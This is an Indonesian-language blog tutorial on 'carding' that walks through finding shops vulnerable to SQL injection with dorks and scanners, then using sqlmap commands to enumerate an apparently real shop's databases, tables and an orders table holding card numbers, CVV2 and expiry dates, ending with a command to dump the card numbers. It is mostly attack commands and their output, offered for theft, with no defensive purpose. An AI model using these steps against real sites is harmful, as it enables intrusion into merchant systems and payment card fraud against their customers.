15 Tutorial Carding ( with carding dork & sqlmap )

Tutorial Carding ( with carding dork & sqlmap )

Malam ini saya membuat tutorial karena teman saya ada yg minta .
Pertama kita siapkan tools" nya dahulu :

1. sqlmap
2. dork carding ( bisa cari di google ) / download
3. sqli scanner :

• sqli scanner 1
• sqli scanner 2
• sqli scanner 3

Pertama ,ambil dork lalu scan menggunakan sqli scanner :

Setelah itu kita test URL target dengan memberi kan tanda petik di depan "="

http://www.zite.com/merchandise/index.php?cat=268
menjadi :
http://www.zite.com/merchandise/index.php?cat='268

Nah, web tersebut error saat kita inject ,

Kedua, kita eksekusi menggunakan sqlmap :
berikut perintahnya : ./sqlmap.py -u link --dbs

Disini kita mendapatkan 3 database :

[*] balboast_gkgbu

[*] balboast_gkgcart

[*] information_schema

Setelah itu kita dump database nya untuk mencari table ,
gunakan perintah : ./sqlmap.py -u link -D namadatabase --tables ( disini saya coba database "balboast_gkgcart" )


nah, saya dapat tables nya :

Database: balboast_gkgcart                                                                                                                                                                     

[88 tables]

+-----------------------+

| amanu                 |

| categories            |

| clients               |

| components            |

| config                |

| config_groups         |

| customers             |

| form_data             |

| form_fields           |

| forms                 |

| geo                   |

| groups                |

| item_amanu            |

| item_cat              |

| item_files            |

| item_files_customer   |

| item_options          |

| item_options_linked   |

| item_options_values   |

| item_related          |

| item_thread           |

| item_thread_old       |

| items                 |

| items_addphoto        |

| items_item_files      |

| items_packages        |

| languages             |

| logs                  |

| mailinglist           |

| mailinglist_cat       |

| mailinglist_members   |

| manu                  |

| news                  |

| news_cat              |

| news_news_cat         |

| orders                |

| photos                |

| photos_cat            |

| pic_gallery           |

| ship_prices           |

| ship_zones            |

| sites                 |

| sites_components      |

| thread                |

| thread_gel            |

| thread_items          |

| ups                   |

| ups_packaging         |

| ups_pickup            |

| ups_service           |

| ups_units             |

| users                 |

| users_access          |

| users_groups          |

| users_spu             |

| users_spu_values      |

| zones                 |

+-----------------------+

[09:47:41] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/balboastitch.com'

Kita pilih di bagian "orders" . Kita ambil columns nya .
Gunakan perintah : sqlmap.py -u link -D namadatabase -T namatable --columns

Maka akan muncul seperti ini : 

Table: orders
[18 columns]
+-----------------+-------------+
| Column          | Type        |
+-----------------+-------------+
| cart_id         | varchar(15) |
| cc_ex_month     | tinyint(4)  |
| cc_ex_year      | int(11)     |
| cc_number       | varchar(30) |
| cc_type         | varchar(20) |
| customer_id     | int(11)     |
| cvv2            | varchar(20) |
| date            | datetime    |
| id              | int(11)     |
| ipaddress       | varchar(25) |
| payment_method  | varchar(15) |
| shipping        | float(8,2)  |
| shipping_method | varchar(5)  |
| status          | tinyint(4)  |
| subtotal        | float(8,2)  |
| tax             | float(8,2)  |
| text            | text        |
| total           | float(8,2)  |
+-----------------+-------------+

Nah :D sudah muncul, selesai sudah..tinggal kita dump 1 per 1 columnsnya bro :)
Caranya : ./sqlmap.py -u link -D namadatabase -T namatable --dump

contoh : ./sqlmap.py -u link -D namadatabase -T namatable -C cc_number --dump
maka nanti cc number akan muncul walau proses agak lama .

Jika kurang jelas bisa download video nya disini


Semoga bermanfaat :)